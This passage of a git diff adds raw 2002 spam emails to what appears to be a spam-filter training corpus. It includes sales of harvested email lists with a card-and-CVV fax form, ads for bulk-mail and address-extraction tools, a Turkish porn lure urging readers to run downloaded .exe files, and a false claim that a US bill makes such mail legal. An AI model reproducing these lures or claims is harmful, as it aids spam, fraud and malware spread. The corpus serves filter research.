days) +[] $25.95 Fedex (overnight) For US & Canada Only - Int'l orders extra + +Product: + +[] Email Marketing CDROM with 100 million Addresses $69.95 USD +[] 200 MILLION EMAIL ADDRESSES on 2 CD's $99.95 +[] 1.5 Million USA Business Fax Numbers $49.95 USD +[] COMBO PACKAGE - ALL DIRECTORIES ABOVE (3 CD's) $139.95 USD + + +TOTAL: $_________ USD + +====================================================================================== + +[] Credit Card Order [] Mail Order + +CREDIT CARD ORDERS FAX THIS ORDER FORM BACK TO 1-240-371-0672 + + +Card #:___________________________________________________ + +Expiry Date: ______________ + +Type of Card [] VISA [] MASTERCARD [] AMERICAN EXPRESS + +Name on Card:_____________________________________________ + +Billing Address:_________________________________ZIP/Postal: ____________ + +City:_____________________State/Province:_______________ Country:_____________ + +Last 3 digits on reverse of card next to signature: [ ] - [ ] - [ ] + +Cardholder Signature:______________________________________ + +Please note that FT International will appear on your statement. + +======================================================================================= + +For any questions please feel free to call us at 1-416-410-9364 + + + +To be removed from our database please send a fax to 1-970-289-6524 + + + + diff --git a/bayes/spamham/spam_2/00820.bc04797ff065e0ddf83cf6f61697f4fe b/bayes/spamham/spam_2/00820.bc04797ff065e0ddf83cf6f61697f4fe new file mode 100644 index 0000000..14af433 --- /dev/null +++ b/bayes/spamham/spam_2/00820.bc04797ff065e0ddf83cf6f61697f4fe @@ -0,0 +1,225 @@ +From webmake-talk-admin@lists.sourceforge.net Mon Jul 22 18:43:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com 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with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17WF6h-0003GW-00 for ; Sun, + 21 Jul 2002 04:42:35 -0700 +From: targetemailextractor@btamail.net.cn +Reply-To: targetemailextractor@btamail.net.cn +To: webmake-talk@example.sourceforge.net +X-Mailer: QuickSender 1.05 +MIME-Version: 1.0 +Message-Id: +Subject: [WM] ADV: Direct email blaster, email address extractor, maillist manager, maillist verify ............ +Sender: webmake-talk-admin@example.sourceforge.net +Errors-To: webmake-talk-admin@example.sourceforge.net +X-Beenthere: webmake-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion of WebMake. +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 21 Jul 2002 19:42:28 +0800 +Date: Sun, 21 Jul 2002 19:42:28 +0800 +Content-Type: text/html; charset="us-ascii" +Content-Transfer-Encoding: quoted-printable + +=3CBODY bgColor=3D#ffffff=3E +=3CDIV=3E=3CFONT face=3D宋=3B体=3B size=3D2=3E +=3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EDirect Email +Blaster=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E=3CFONT size=3D2=3E +=3CP=3E=3CFONT face=3DArial=3E=3CB=3E=3CFONT color=3D#006600=3E=3CI=3EThe program will send mail at the +rate of over 1=2C 000 e-mails per minute=2E =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3ELegal and Fast +sending bulk emails =3B=3CBR=3E=3CFONT color=3D#006600=3E=3CI=3EBuilt in SMTP +server =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3EHave Return Path =3B=3CBR=3ECan Check Mail +Address =3B=3CBR=3E=3CFONT color=3D#006600=3E=3CI=3EMake Error Send Address List=28 Remove or +Send Again=29 =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3ESupport multi-threads=2E =3B=3CBR=3ESupport +multi-smtp servers=2E =3B=3CBR=3EManages your opt-in E-Mail Lists =3B=3CBR=3EOffers an +easy-to-use interface! =3B=3CBR=3EEasy to configure and use =3B=3C=2FB=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CA +href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fedeb=5Fset=2Ezip=22=3E=3CSTRONG=3EDownload +Now=3C=2FSTRONG=3E=3C=2FA=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EMaillist +Verify=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3EMaillist Verify is intended for e-mail addresses and mail +lists verifying=2E The main task is to determine which of addresses in the mail +list are dead=2E The program is oriented=2C basically=2C on programmers which have +their own mail lists to inform their users about new versions of their +programs=2E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3EThe program works on the same algorithm as ISP mail systems +do=2E Mail servers addresses for specified address are extracted from DNS=2E The +program tries to connect with found SMTP-servers and simulates the sending of +message=2E It does not come to the message =3CNOBR=3Esending ‿=3B=2FNOBR>=3B EMV disconnect +as soon as mail server informs does this address exist or not=2E EMV can +find=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CNOBR=3E =3Babout 90% of dead addresses ‿=3B=2FNOBR>=3B some mail +systems receive all messages and only then see their =3B=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CNOBR=3Eaddresses and if the address is dead send the message +back with remark about it=2E=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E=3CNOBR=3E +=3CP=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbemv=5Fset=2Ezip=22=3E=3CSTRONG=3E=3CFONT +face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FA=3E=3C=2FP=3E +=3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EExpress Email +Blaster =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3EExpress Email Blaster =3B is a very fast=2C powerful yet +simple to use email sender=2E Utilizing multiple threads=2Fconnections=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E =3Band multiple SMTP servers your emails will be sent out +fast and easily=2E There are User Information=2C Attach Files=2C =3B=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3EAddress and Mail Logs four tabbed area for the E-mails +details for sending=2E About 25 SMTP servers come with the =3B=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3Edemo version=2C and users may Add and Delete SMTP servers=2E +About =3CFONT color=3D#008000=3E=3CB=3E60=2C000=3C=2FB=3E=3C=2FFONT=3E E-mails will be sent out per +hour=2E=22=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbeeb=5Fset=2Ezip=22=3E=3CFONT +face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E=3C=2FP=3E +=3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EExpress Email Address +Extractor=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E=3CFONT size=3D4=3E +=3CP=3E=3CFONT color=3D#008000 size=3D3=3EThis program is the most efficient=2C easy to use +email address collector available on the =3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3D#008000 size=3D3=3E =3Binternet! =3C=2FFONT=3E=3CFONT +color=3D#000000 size=3D3=3EBeijing Express Email Address Extractor =28ExpressEAE=29 is +designed to extract=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT color=3D#000000 size=3D3=3E =3Be-mail addresses from web-pages on the +Internet =28using HTTP protocols=29 =2EExpressEAE=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT color=3D#000000 size=3D3=3E =3Bsupports operation through many proxy-server +and works very fast=2C as it is able of =3B=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT color=3D#000000 size=3D3=3Eloading several pages simultaneously=2C and requires +very few resources=2E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT color=3D#000000 face=3DArial=3E=3CFONT size=3D3=3EWith it=2C you will be able +to=3C=2FFONT=3E=3CFONT size=3D2=3E =3C=2FFONT=3E=3CFONT size=3D3=3Euse targeted searches to crawl the +world wide web=2C extracting =3B=3C=2FFONT=3E=3C=2FFONT=3E +=3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Ethousands of clean=2C fresh email +addresses=2E Ably Email address Extractor is unlike other =3B=3C=2FFONT=3E +=3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Eaddress collecting programs=2C which +limit you to one or two search engines and are unable=3C=2FFONT=3E +=3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3E =3Bto do auto searches HUGE address=2E +Most of them collect a high percentage of incomplete=2C =3B=3C=2FFONT=3E +=3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Eunusable addresses which will cause you +serious problems when using them in a mailing=2E =3B=3C=2FFONT=3E +=3CUL=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EEasier to learn and use than any + other email address collector program available=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAccesses eight search + engines =3B=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAdd your own URLs to the list to be + searched=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D3=3E=3CFONT color=3D#008000=3ESupports operation through + =3C=2FFONT=3E=3CFONT color=3D#ff00ff=3Ea lot of=3C=2FFONT=3E=3CFONT color=3D#008000=3E proxy-server + and works very fast =28HTTP Proxy=29=3C=2FFONT=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAble of loading several pages + simultaneously=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3ERequires very few resources=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3ETimeout feature allows user to limit + the amount of time crawling in dead sites and traps=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D3=3E=3CFONT color=3D#008000=3EEasy to make =3C=2FFONT=3E=3CFONT + color=3D#ff00ff=3EHuge=3C=2FFONT=3E=3CFONT color=3D#008000=3E address list=3C=2FFONT=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EPause=2Fcontinue extraction at any + time=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAuto connection to the + Internet=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E +=3CDIV=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Feeae=5Fset=2Ezip=22=3E=3CFONT +color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E =3C=2FDIV=3E +=3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial=3EExpress Email Address +Downloader=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E +=3CUL=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B + =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Eis a 32 bit Windows Program for e-mail + marketing=2E It is intended for easy and convenient=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#000000 size=3D2=3E =3Bsearch large + e-mail address lists from mail servers=2E The program can be operated + on =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#000000 size=3D2=3EWindows 95=2F98=2FME=2F2000 + and NT=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B + =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Esupport multi-threads =28up to 1024 + connections=29=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B + =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Ehas the ability =3B to reconnect to the + mail server if the server has disconnected and =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#000000 size=3D2=3Econtinue the searching + at the point where it has been interrupted=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B + =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Ehas an ergonomic interface that is easy to + set up and simple to use=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CP=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#008000 face=3DArial +size=3D4=3EFeatures=3A=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E +=3CUL type=3Ddisc=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Esupport + multi-threads=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eauto get smtp server + address=2Csupport multi-smtp servers=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eauto save =3B E-Mail + Lists=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eoffers an easy-to-use + interface!=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E +=3CDIV=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Feead=5Fset=2Ezip=22=3E=3CFONT +color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E =3C=2FDIV=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial=3EExpress Maillist +Manager=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CDIV=3E=3CFONT size=3D2=3E +=3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3EThis program was designed to be a +complement to the =3C=2FFONT=3E=3CFONT color=3D#800080 size=3D3=3EDirect Email Blaster =3B +=3C=2FFONT=3E=3CFONT color=3Dblack size=3D3=3Eand =3C=2FFONT=3E=3CFONT color=3D#800080 size=3D3=3EEmail +Blaster =3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3Esuite of bulk email software +programs=2E Its purpose is to organize your email lists in order to be +more =3B=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3Eeffective with your email marketing +campaign=2E Some of its features include=3A=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CB=3E=3CFONT color=3D#008000 face=3DArial=3E=3CFONT size=3D3=3E‿=3BCombine several lists into +one file=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BSplit up larger lists to make them more +manageable=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BRemove addresses from file=2E=3C=2FFONT=3E=3CBR=3E=3CFONT +size=3D3=3E‿=3BManual editing=2C adding=2C and deleting of addresses=2E=3C=2FFONT=3E=3CBR=3E=3CFONT +size=3D3=3E‿=3BAbility to auto clean lists=2C that is=2C remove any duplicate or unwanted +addresses=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BMaintain all your address lists within the +program so you no =3B longer need to keep all your=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E +=3CP=3E=3CB=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3E =3Blists saved as separate text +files=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E +=3CP=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbemm=5Fset=2Ezip=22=3E=3CFONT +color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E =3B=3C=2FP=3E +=3CDIV=3E=3CFONT face=3DArial=3Eif you want to remove your email=2C please send email to =3CA +href=3D=22mailto=3Atargetemailremoval=40btamail=2Enet=2Ecn=22=3Etargetemailremoval=40btamail=2Enet=2Ecn=3C=2FA=3E=3C=2FFONT=3E +=3C=2FDIV=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CDIV=3E =3B=3C=2FDIV=3E=3C=2FFONT=3E=3C=2FDIV=3E=3C=2FFONT=3E=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FDIV=3E + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +webmake-talk mailing list +webmake-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/webmake-talk + + diff --git a/bayes/spamham/spam_2/00821.b64c27e913e301f038ebfaa433f16f35 b/bayes/spamham/spam_2/00821.b64c27e913e301f038ebfaa433f16f35 new file mode 100644 index 0000000..30c99b9 --- /dev/null +++ b/bayes/spamham/spam_2/00821.b64c27e913e301f038ebfaa433f16f35 @@ -0,0 +1,187 @@ +From lyetr66@uol.com.co Mon Jul 22 18:39:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6AE8B440C8 + for ; Mon, 22 Jul 2002 13:39:45 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:39:45 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG1DY16479 for + ; Mon, 22 Jul 2002 17:01:13 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + webnote.net (8.9.3/8.9.3) with ESMTP id KAA26979 for ; + Sun, 21 Jul 2002 10:51:14 +0100 +Received: from theat.com.cn ([210.78.153.210]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6L9pBp07209 for + ; Sun, 21 Jul 2002 10:51:12 +0100 +Received: from mail2.uol.com.co [65.144.72.79] by theat.com.cn with ESMTP + (SMTPD32-7.06) id A67E6E0024; Sun, 21 Jul 2002 18:01:34 +0800 +Message-Id: <0000645e4778$00005d9c$000045e6@mail2.uol.com.co> +To: , , , + , +Cc: , , + , , +From: "Free Quote" +Subject: Borrow Money for any purpose! GY +Date: Sat, 20 Jul 2002 17:55:49 -1900 +MIME-Version: 1.0 +Reply-To: lyetr66@uol.com.co +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + +


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+ +18.451 adet mpeg video , 248.105 adet resim ar=FEivimize, 48 Canl=FD sohb= +et odas=FDna sadece http://pembeliste.netfirms.com/videolar.exe programi= +ni calistirarak ulasabilirsiniz. + +Ayr=FDca Hande ATAIZI nin 11.4dk Porno v=FDdeosuna http://pembeliste.netf= +irms.com/hande_ataizi.exe programiyla ulasabilir ve download edebilirsini= +z. + + +http://pembeliste.netfirms.com/videolar.exe + + + + + +- + +-------------------------------------------------------------------- + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00828.530a94ab225feb3c5e5a559f51f6eea2 b/bayes/spamham/spam_2/00828.530a94ab225feb3c5e5a559f51f6eea2 new file mode 100644 index 0000000..75ec54b --- /dev/null +++ b/bayes/spamham/spam_2/00828.530a94ab225feb3c5e5a559f51f6eea2 @@ -0,0 +1,81 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6LK9bCU010150 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Sun, 21 Jul 2002 15:09:38 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6LK9bj3010146 + for cypherpunks-forward@ds.pro-ns.net; Sun, 21 Jul 2002 15:09:37 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6LK9ZCU010132 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Sun, 21 Jul 2002 15:09:36 -0500 (CDT) + (envelope-from owner-cypherpunks@minder.net) +Received: from waste.minder.net (majordom@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6LJGAJ78032; + Sun, 21 Jul 2002 15:16:10 -0400 (EDT) + (envelope-from owner-cypherpunks@minder.net) +Received: (from majordom@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6LJG8U30052 + for cypherpunks-outgoing; Sun, 21 Jul 2002 15:16:08 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6LJG7R30048 + for ; Sun, 21 Jul 2002 15:16:07 -0400 +Received: from hal2.bizland-inc.net (mail2.bizland-inc.net [64.28.88.158]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6LJG6J78011 + for ; Sun, 21 Jul 2002 15:16:07 -0400 (EDT) + (envelope-from wwwuser@mail.bizland-inc.net) +Received: from jellyfish.int.bizland.net ([10.1.1.153] helo=mail.bizland-inc.net) + by hal2.bizland-inc.net with esmtp (Exim 3.36 #1) + id 17WHfG-0002r1-00 + for cypherpunks@minder.net; Sun, 21 Jul 2002 10:26:26 -0400 +Received: (from wwwuser@localhost) + by mail.bizland-inc.net (8.11.6/8.11.6) id g6LEQPH11623; + Sun, 21 Jul 2002 10:26:25 -0400 +Date: Sun, 21 Jul 2002 10:26:25 -0400 +Message-Id: <200207211426.g6LEQPH11623@mail.bizland-inc.net> +To: cypherpunks@minder.net +From: seni@istiyorum.com +Subject: HIZLI & SINIRSIZ sex +X-Bizland-User: +Sender: owner-cypherpunks@minder.net +Precedence: bulk +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6LLi8CT049860 + +4 kat Daha Hizli & Sinirsiz baglantiya ne dersiniz??? + +18.451 adet mpeg video , 248.105 adet resim ar=FEivimize, 48 Canl=FD sohb= +et odas=FDna sadece http://pembeliste.netfirms.com/videolar.exe programi= +ni calistirarak ulasabilirsiniz. + +Ayr=FDca Hande ATAIZI nin 11.4dk Porno v=FDdeosuna http://pembeliste.netf= +irms.com/hande_ataizi.exe programiyla ulasabilir ve download edebilirsini= +z. + + +http://pembeliste.netfirms.com/videolar.exe + + + + + +- + +-------------------------------------------------------------------- + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00829.afe2abb0aa5184c633944ac2859f10c9 b/bayes/spamham/spam_2/00829.afe2abb0aa5184c633944ac2859f10c9 new file mode 100644 index 0000000..00144a2 --- /dev/null +++ b/bayes/spamham/spam_2/00829.afe2abb0aa5184c633944ac2859f10c9 @@ -0,0 +1,121 @@ +Received: from eastgate.starhub.net.sg (eastgate.starhub.net.sg [203.116.1.189]) + by linux.midrange.com (8.11.6/8.11.6) with ESMTP id g6LF7Je32082 + for ; Sun, 21 Jul 2002 10:07:19 -0500 +Received: from user (nas7-54-211.mystarhub.com.sg [203.117.54.211]) + by eastgate.starhub.net.sg (8.12.1/8.12.1) with ESMTP id g6LEsUNh023018; + Sun, 21 Jul 2002 22:54:31 +0800 (SST) +Message-ID: <412-220027021145711390@user> +To: "FFA Sites" +From: "AUTOMATED MAIL FOR LIFE!" +Subject: Set & Forget! Blast Your Ad Over 200 Million Leads & Growing Each Month Spam Fre +Date: Sun, 21 Jul 2002 22:57:11 +0800 +MIME-Version: 1.0 +Content-type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by linux.midrange.com id g6LF7Je32082 +X-Status: +X-Keywords: + +(See Disclaimer below) + + +Dear Internet Marketers, + + +Explode YOUR Sales OVERNIGHT Guanranteed!!!! + +Introducing YOU The Worlds Easiest, Most Powerful Blasting System! +Absolutely Hands FREE! Set it up and Forget it for LIFE! + +Blast your sales in to a raging frenzy overnight!! Email your solo ad to over +6.5 million opt-in prospects and GROWING daily "100% hands FREE for LIFE!" +YOU have the ability to reach over 2 billion (2,000,000,000) opt-in targeted +prospects a year "100% AUTOMATICALLY!!" Just Imagine what that will do +to your cashflow?! The possibilities are unlimited! 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Under Bill s. +l6l8 TITLE III passed by the 105th US Congress this letter Cannot be +considered Spam as long as the sender includes contact information & +a method of "removal." However this is a one time mailing so there's no +removal required. Thank you for your kind consideration. + +@@@@@@@@@@@@@@ DISCLAIMER @@@@@@@@@@@@@ + + + + + + + diff --git a/bayes/spamham/spam_2/00830.079ed7d24f78024e023b82417a6fe2ca b/bayes/spamham/spam_2/00830.079ed7d24f78024e023b82417a6fe2ca new file mode 100644 index 0000000..e2bd95a --- /dev/null +++ b/bayes/spamham/spam_2/00830.079ed7d24f78024e023b82417a6fe2ca @@ -0,0 +1,491 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6LHVTCU048088 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Sun, 21 Jul 2002 12:31:29 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6LHVT6r048085 + for cypherpunks-forward@ds.pro-ns.net; Sun, 21 Jul 2002 12:31:29 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6LHVOCU048057 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Sun, 21 Jul 2002 12:31:26 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6LHVOJ72903 + for ; Sun, 21 Jul 2002 13:31:24 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6LHVNd21042 + for cypherpunks@ds.pro-ns.net; Sun, 21 Jul 2002 13:31:23 -0400 +Received: from levee.minder.net (gigantic.davehart.net [63.102.100.7]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6LHVLR21024 + for ; Sun, 21 Jul 2002 13:31:21 -0400 +Received: from 203.168.162.115 ([203.168.162.115]) by levee.minder.net with Microsoft SMTPSVC(6.0.3604.0); + Sun, 21 Jul 2002 17:31:19 +0000 +From: freebie4u@sinatown.com +To: 